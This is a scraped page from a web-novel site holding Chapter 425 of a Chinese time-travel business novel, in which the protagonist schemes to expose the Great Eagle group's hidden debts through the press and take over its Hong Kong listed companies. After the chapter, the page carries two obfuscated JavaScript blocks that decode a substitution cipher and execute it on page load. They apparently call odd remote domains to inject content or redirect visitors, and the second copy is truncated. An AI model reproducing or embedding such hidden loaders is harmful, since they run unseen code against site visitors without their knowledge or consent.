首页
第425章:鹰君集团债务暴雷
返回
关灯 护眼:关 字号:小

第425章:鹰君集团债务暴雷震惊香江(5/5)(求订阅)

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge34567.com,更新快,无弹窗!

    程功和总督尤德夫妇说一声,和贝丝往外面出去。
    麦理思,韦理,李察信亲自送老板出去,程功和他们低头说了几句,和贝丝上到宾利车上。
    当其他人还在沉迷今晚总督府举行德晚会上,李学军和其他保镖已经护送程功离开这里。
    来到贝丝住的香江中区的一个小区门口外,贝丝下车回去后。
    李学军再往深水湾半山别墅回去。
    。。。
    深水湾半山别墅。
    程家。
    程功从车上下来,小英已经在等着。
    “少爷,今晚总督府很热闹吗?”
    “还行。”
    今晚受邀到那的,都是香江商界,政界以及各界的白人精英和华人精英代表,自然都是属于有头有脸的人。
    程功进去和程振邦夫妇打声招呼,上到楼上,先让小英给他准备好泡澡的热水,舒舒服服泡完,把身上那股香水味都冲洗掉。
    出来后,坐在书房那里看着今晚的晚报。
    对于程功来说,现在晚报除了新的总督府举行酒会的消息,还有就是股市,楼市继续下跌的消息。
    如今。
    程功想到。
    上半年,已经提前引爆陈松靑那颗金融炸弹,已经让香江的楼市和股市提前出现暴跌。但是,他知道还是远远不够。
    接下来,他则是要准备引爆另外一颗。
    正是罗鹰石的鹰君集团。
    罗鹰石,是潮商,早年跟着父亲到暹罗谋生,学习到不少生意上的事,25岁的时候,回到香江,继续做一些百货方面的生意。
    在五十年代中期,其个人已经赚到一百万港币,为其积累到人生中的第一桶金。
    五十年代后,罗鹰石看到香江人口开始暴涨,房地产市场越来越好,开始转向地产业。
    其中,以自己名字中的鹰字,以及妻子中的君字,取名为鹰君集团,寓意振翅高飞,鹏程万里。
    在1972年的时候,和李加成的长茳实业集团一样,利用当时香江正是处于牛市集资上市。
    其后,香江楼市大跌,罗鹰石和他的鹰君集团和李加成那四大家一样,趁机抄底,囤积了大量工业用地。
    而其次子罗旭端是香江大学毕业的高材生,在美留学归来后,在1979年加盟父亲的鹰君集团,其后,这几年正是这位高材生的协助下,鹰君集团发展迅速。
    此时,鹰君集团已经掌握了三家上市公司。
    包括母公司鹰君集团,市值超过30亿港币,还有百利保公司和富豪酒店集团,这两大上市公司的市值,也分别将近10亿。
    正是,这种情况下,鹰君集团在华资里面,应该是仅次于程功的星河投资公司,陈松靑的佳宁集团。
    只是,陈松靑的佳宁集团暴雷后。
    如今,罗鹰石的鹰君集团仅次于程功的星河投资公司。
    至少表面上确实是那样,对方的实力,可能要比李加成的长茳实业集团,李肈基的恒基肈业集团,郭德胜的新鸿基集团,郑裕彤的新世界发展,甚至胡应相的合和实业这些规模和市值都要高许多。
    也正是因为这样,这次新任总督尤德为笼络香江的白人精英和华人精英,罗鹰石夫妇也就成为其中受邀的华资名单之一。
    但是,事实上,并不是那样。
    其实,鹰君集团整体上已经亏损超过20亿港币。
    而鹰君的累计债务,包括长期和短期债务加起来也是超过80亿港币。
    表面上,现在鹰君集团看起来没有什么,实际上,鹰君集团内部三家上市公司的问题都很大。
    不过,鹰君集团和佳宁集团最大不一样是,表面上两家公司负债很高,负债率也是非常高。
    但是,实际上,鹰君集团拥有大量的囤积土地,他的亏损和负债,主要是和香江楼市,股市大幅度下跌有很大关系,还有就是鹰君集团也是从银行和财务公司大量借贷买入那些土地,特别是工业用地这方面。
    所以,程功前世的时候,为什么鹰君集团也是出现债务暴雷,最终还是安然度过,而陈松靑的佳宁帝国,债务暴雷后,直接也就被清盘了。
    归根到底,那就是鹰君集团自身是有大量土地的,只要安然度过香江楼市危机,过几年,鹰君还是可以熬过来的。
    但是,佳宁集团不一样,他是有些物业,但是,并不多,基本上都是空壳的情况下,即使银行和财务公司希望佳宁集团债务重组,问题是根本没有相应的资产来重组。
    相反,鹰君集团在进行债务重组,是可以抛售一部分物业,偿还债务,降低负债率,是可以挺过来的。
    还有,那就是。
    他前世的时候,罗鹰石旗下的百利保公司是觊觎过中华巴士的,目的就是想吞掉中华巴士在香江中区的大量优质土地。
    甚至,联合当时的韦理狙击颜成坤的中华巴士。
    可惜,这一世,因为程功的出现,罗鹰石家族没有机会狙击中华巴士,但是,对方确实是在七十年代中期,在新界,九龙等地囤积大量工业用地。
    这几年下来,罗鹰石旗下这三大集团正是利用七十年代中期积累的土地,大规模发展起来,而在1980年到1981年,这两年,罗鹰石家族依然还是在疯狂借贷囤地土地。
    还有。
    那就是,罗鹰石的鹰君集团得以迅速发展和膨胀起来,其实是离不开他的次子罗旭端。
    罗旭端很有能力,也很有野心。
    在他六个儿子三个女儿里面,他的能力和野心是最大的。
    正是这种情况下。
    其后,罗氏家族是爆发非常强烈的内部家族内斗。
    其中,在罗鹰石发现鹰君集团债务和负债率越来越高,为了保住鹰君集团,也就准备出售百利保公司和富豪酒店集团,以用来偿还债务,特别是短期债务。
    但是,罗旭端不愿意,觉得这两大上市公司也是罗氏家族核心产业之一,卖掉了,相当于罗氏家族少了一半的资产。
    罗氏父子爆发不可调和的矛盾,罗旭端被迫离开鹰君集团。
    但是,他的离开,不仅仅代表他的独立那么简单。
    而是私下联合韦理,直接狙击鹰君集团,并且得以吞掉百利保公司和富豪酒店集团。
    正是这件事,罗旭端联合韦理吞掉自己家族的公司,在香江影响还是不小。
    也因为这件事,导致罗鹰石夫妇和这个次子矛盾非常深,其后,罗鹰石让远在M国留学的三子罗嘉端提前回香江替父亲处理公司事务。
    可以说,罗鹰石家族六子三女,这件事之后,最大得益者,正是次子罗旭端和三子罗嘉端。
    其他几兄弟则是要差了一些。
    程功知道,罗鹰石家族如果不是内部爆发这个矛盾,按照罗家情况来说,应该也是在香江四大家族之后,实力确实是非常强大。
    但是,当罗鹰石家族内部的债务和矛盾不可调和的情况下,加上兄弟姐妹又多的情况下,各人的心思都不一样,考虑的当然更多是自己。
    这种情况,其实郭德胜家族三兄弟也是那样,早期他们还可以很好合作,但是,当利益矛盾爆发后,兄弟情分再好,也会因为利益矛盾而爆发的。
    如今,因为他提前引爆陈松靑这一颗金融炸弹,如今,罗鹰石家族的债务和负债率也远超外界的想象。
    其实,这种情况下,他们唯一解决的办法,确实是只能降低负债率和负债。
    但是,程功知道,罗旭端之所以那么重视百利保公司和富豪酒店集团。
    除了他很清楚,兄弟姐妹太多,未来父亲不一定把鹰君集团交到他手上。
    还有,那就是在他看来,这两家上市公司能够出现,很大原因是他的功劳。
    偏偏父亲要拿这两家上市来开刀,然后卖掉偿还母公司鹰君集团的债务,对于罗旭端来说,他自然是不愿意的。
    即使是程功站在他那个角度来思考,他也不同意。
    毕竟,其他几个兄弟姐妹没有付出什么,也没有为公司做出什么贡献,如果以后自己和他们分到都是一样,他自然不接受。
    程功想到。
    现在罗鹰石的鹰君集团债务和负债率已经出现,但是,还没有公布出来而已。
    还有,那就是罗鹰石和罗旭端的真正矛盾,还没有爆发出来。
    但是,如果罗鹰石在作出出售百利保公司和富豪酒店集团的决定,两父子的矛盾是不可避免了。
    他前世的时候,罗旭端是引入韦理这个帮手来瓜分百利保公司和富豪集团,如果不是看在父母和罗家的份上,可能连鹰君集团都想瓜分。
    而接下来,程功猜测,如果鹰君集团债务被暴雷,银行和财务公司逼迫鹰君集团偿还债务的时候,罗鹰石第一时间还是要拿百利保公司和富豪酒店集团抛售的。
    到时,父子俩的矛盾是根本不可能调和的。
    这种情况下,罗旭端为了吞掉这两家上市公司,也为了避免落入他人的手上,必定会引入其他资本的。
    。。。
    一个月后。
    新任总督尤德已经上位一个月。
    本来香江许多投资者还希望他接替麦理浩,能够让香江楼市,股市恢复过来。
    但是,并没有。
    这一个月下来。
    香江的楼市,股市,并没有因为换了新的总督变成利好,相反,香江的楼市和股市还在继续下跌。
    香江市场上一片哀嚎。
    此时,已经准备了很长时间的程功。
    他知道,应该准备引爆第二颗金融炸弹了。
    星河投资中心大厦。
    第21层楼。
    会议室。
    程功,麦理思,马世民,韦理,詹培忠,曹志明,还有星河传媒集团总经理罗森特都在这会议室里面。
    现在他们各自坐在那里。
    从现在香江的情况来看,其实各行各业,很多都有出现负债率和负债越来越高的情况。
    无论是已经暴雷的佳宁集团,还是没有暴雷的董家东方海外。
    基本上,只要涉及到大规模投资的,无论是投资房地产,还是投资航运业,基本上都是负债率和负债越来越高的。
    如今,程功当然不会拿董家的东方海外来引爆,因为对方是投资航运业的,而不是地产业。
    对于香江的地产业是有一定影响,但是,影响并不大。
    而在去年底,程功也就确定了,他要拿罗鹰石家族的鹰君集团来引爆这一颗金融炸弹。
    “各位,从现在鹰君集团的情况来看,其负债率和负债和暴雷前的佳宁集团已经不相上下了。”
    现在在座面前都有一份非常详细关于鹰君集团的资料。
    “罗鹰石夫妇共有六子三女,其中能力最强的是次子罗旭端,这些年鹰君集团得以发展那么快,也是因为和罗旭端有关。不过,罗氏家族子女多,矛盾自然也就更多,特别是涉及到百利保公司和富豪酒店集团,这两家上市公司,现在罗旭端应该是把它们当成是自己的公司,而不是其他兄弟妹妹相关的公司。”
    “罗鹰石本人应该很清楚自己公司的债务和负债率已经非常严重,只是还没有被爆出来的情况下,能够隐瞒一天是一天,但是,如果被爆出来后,他首先要做的就是保住母公司鹰君集团,然后通过抛售百利保公司和富豪酒店集团的全部股份来偿还公司的短期债务,避免遭到债权人的清盘。”
    “这次我们不但要借助这一颗金融炸弹,继续引发香江楼市和股市下跌。另外一方面,鹰君集团和佳宁集团不一样,鹰君集团确实是有大量土地,只是现在香江楼市下跌,其地价也跟着下跌而已。如果可以,我们这次把鹰君集团三家上市公司全部吞掉。”
    也就是说。
    这次程功交给他们的任务。
    第一,是通过引爆鹰君集团的债务暴雷,引发香江的楼市和股市继续下行。
    第二,则是吞掉鹰君集团。
    现在作为仅次于星河投资公司的第二大华资集团的规模,吞掉后,星河投资公司的规模无疑将是更加庞大。
    当然,程功有充裕的资金。
    而在去年底就开始,一直到今年上半年,麦理思,曹志明,詹培忠,曹志明等人都在做准备,也就是罗森特还是第一次知道那么重要的商业行动。
    当然,他只是负责传媒,也就是声喉而已。
    “老板,我觉得罗鹰石和次子罗旭端的矛盾可能不小,只是还没有暴露出来。还有,听说罗鹰石偏爱三子罗嘉端,早就传出罗鹰石夫妇退休要把鹰君集团传给三子。”一旁的曹志明说道。
    “他们家族子女,对于家族资产又各自虎视眈眈,自然也就会出现这种问题。当然,现在罗鹰石也将近70岁,确实是到了退休的年纪。”
    “这样吧,关于如何引爆鹰君集团的债务炸弹,你们商量后,最后确定如何在报刊上发表。”
    上半年。
    关于陈松靑的佳宁集团的债务被提前引爆,可以说是非常成功一次商业行动。
    而对于南华早报,香江工商报,华侨日报的影响力和销量都起到很不错的效果。
    程功和贝丝离开,留下他们在这商量。
    程功离开后,会议室的气氛和刚刚自然不一样。
    此时,程功已经回到自己的办公室。
    贝丝去给老板泡咖啡。
    下午四点半。
    麦理思,马世民,韦理,曹志明,詹培忠,罗森特,在会议室商量了一个多小时。
    最终确定下来。
    至于撰稿人,还是有南华早报的编辑来写。
    虽然,曹志明写的文章也很不错。
    在罗森特看来,曹志明因为离开撰稿人那个职位太久,和以前写的文章还是有些不一样。
    罗森特离开前,特意见老板。
    “罗森特,就按照你说得做吧。”
    罗森特离开,也就立刻往南华早报赶回去。
    。。。
    香江中环德辅道中45号。
    告罗士打行。
    第三层。
    鹰君集团总部。
    董事长办公室。
    此时,穿着西服,早已秃顶的罗鹰石正在自己的办公桌前。
    上半年,陈松靑的佳宁集团突然被媒体揭露暴雷,当时的罗鹰石其实也担心起来,他也知道,自家公司债务和负债率可能没有陈松靑的佳宁集团那么高,但是,也可能是不相上下。
    特别是前两年的大规模借贷扩张的情况下。
    这种情况下,罗鹰石知道,他只能尽可能隐瞒,只要还没有暴露出来,他和公司的债务压力就不大。
    但是,实际上,罗鹰石还是很清楚的,在楼市和股市下行的情况下,特别是要比七十年代初香江股市和楼市暴跌还要严重的情况下,他和公司的债务,负债率必定是越来越高的。
    看了看时间。
    罗鹰石知道已经是下班时间,拿上自己那顶帽子,拿着公文包,也就准备离开。
    当罗鹰石离开,自己先坐车回去。
    长子罗孔端,次子罗旭端还分别在自己的办公室里面。
    其中,罗旭端是公司的副董事长,总经理,平常直接替父亲管理百利保公司和富豪酒店集团。
    从现在来看,他确实是鹰君集团二号人物。
    只是,罗旭端知道,父亲并不是很认可他,而是认可还在M国留下的三子罗嘉端。
    其实,很多时候,他都想问问父亲,明明都是他的儿子,自己这几年加盟鹰君集团,也是尽心尽力,为什么父亲就偏爱三子呢?
    要说四子罗康端自己投资自己的公司,但是,三子既不是大哥,也不是弟弟,就得到父亲的偏爱。
    这种情况下,作为次子的罗旭端心中自然是不满。
    不过,不满是不满,如今表面上他还是公司的二号人物。
    但是,他知道,等到三弟留学回来,到时父亲退休,应该会是把鹰君集团整体上交给三弟接管,而自己最多和大哥一样,只能在旁边协助三弟。
    罗旭端看向窗外。
    眼神明显有些不一样。
    如今,鹰君集团的债务和负债率,他是非常清楚的。
    特别是上半年陈松靑的佳宁集团债务暴雷,甚至还死了两个人的情况下,罗旭端很清楚,如果到时自家也遇到佳宁集团的情况。
    怕是父亲能不能保得住鹰君集团?
    。。。
    凌晨时分。
    南华早报,华侨日报,工商日报,这家报刊的附属印刷公司都在拼命印刷。
    其中,南华早报中英文版,分别印刷35万份。
    华侨日报印刷25万份。
    工商日报印刷25万份。
    看似不少。
    其实,罗森特是按照上一次佳宁集团暴雷的情况当日销量来进行印刷的,可能到时还不一定够,还要继续加印才行。
    凌晨的三点多。
    三家报刊已经印刷完毕。
    其后,那些送报员开始陆陆续续拿到报刊,给香江各大报亭,
    基本上,在凌晨的五点多,这三大报刊的早报已经陆陆续续送到这些报亭,
    而关于今天的早报劲爆消息。
    正是和鹰君集团债务暴雷有关。
    基本上,许多送报员最先看到这些报刊的头版,也就知道,今天怕是又要轰动香江了。
    毕竟,在这之前,鹰君集团实力和规模确实越来越膨胀,甚至超过李加成的长茳实业集团,还有李肈基,郭德胜,郑裕彤这三大集团。
    在外界看来,原来鹰君集团仅次于程功的星河投资公司,陈松靑的佳宁集团,排在第三位。
    在上半年,佳宁集团暴雷,鹰君集团已经排在香江华资的第二位。
    除了以鹰君集团,百利保公司,富豪酒店集团这三大上市公司外,还有附属上百家公司。
    如今,报刊上头版说得很清楚。
    这罗氏集团三大上市集团,不仅仅是负债那么简单,而且负债率和负债直追陈松靑的佳宁集团。
    这无疑是一颗非常恐怖的金融炸弹。
    其中,华侨日报头版以《鹰君一门三杰》为头版标题,详细谈起现在鹰君集团的内部困境。”
    据鹰君集团内部核心人士透露。
    送报员看着这报刊,都被惊吓到。
    本来这三大上市公司,受到香江股市大盘影响,已经跌了很多,如今这爆炸性的新闻出来,怕是跌得更惨。
    。。。
    太平山山顶。
    罗鹰石家族豪宅。
    现在罗氏家族都住在这里。
    现在才刚刚凌晨的五点多。
    罗鹰石夫妇正在主人房休息,旁边书房的座机则是在不停响起。
    夫人杜莉君急忙起身接电话。
    “鹰石,你的电话。”
    “这大清早的,谁的电话?”罗鹰石想骂人,看到窗外明显还没有天亮。
    罗鹰石只能过去拿起座机电话接听。
    当听到那边说的,罗鹰石差点想跌倒下去。
    “什么事?”
    “出大事了。”
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 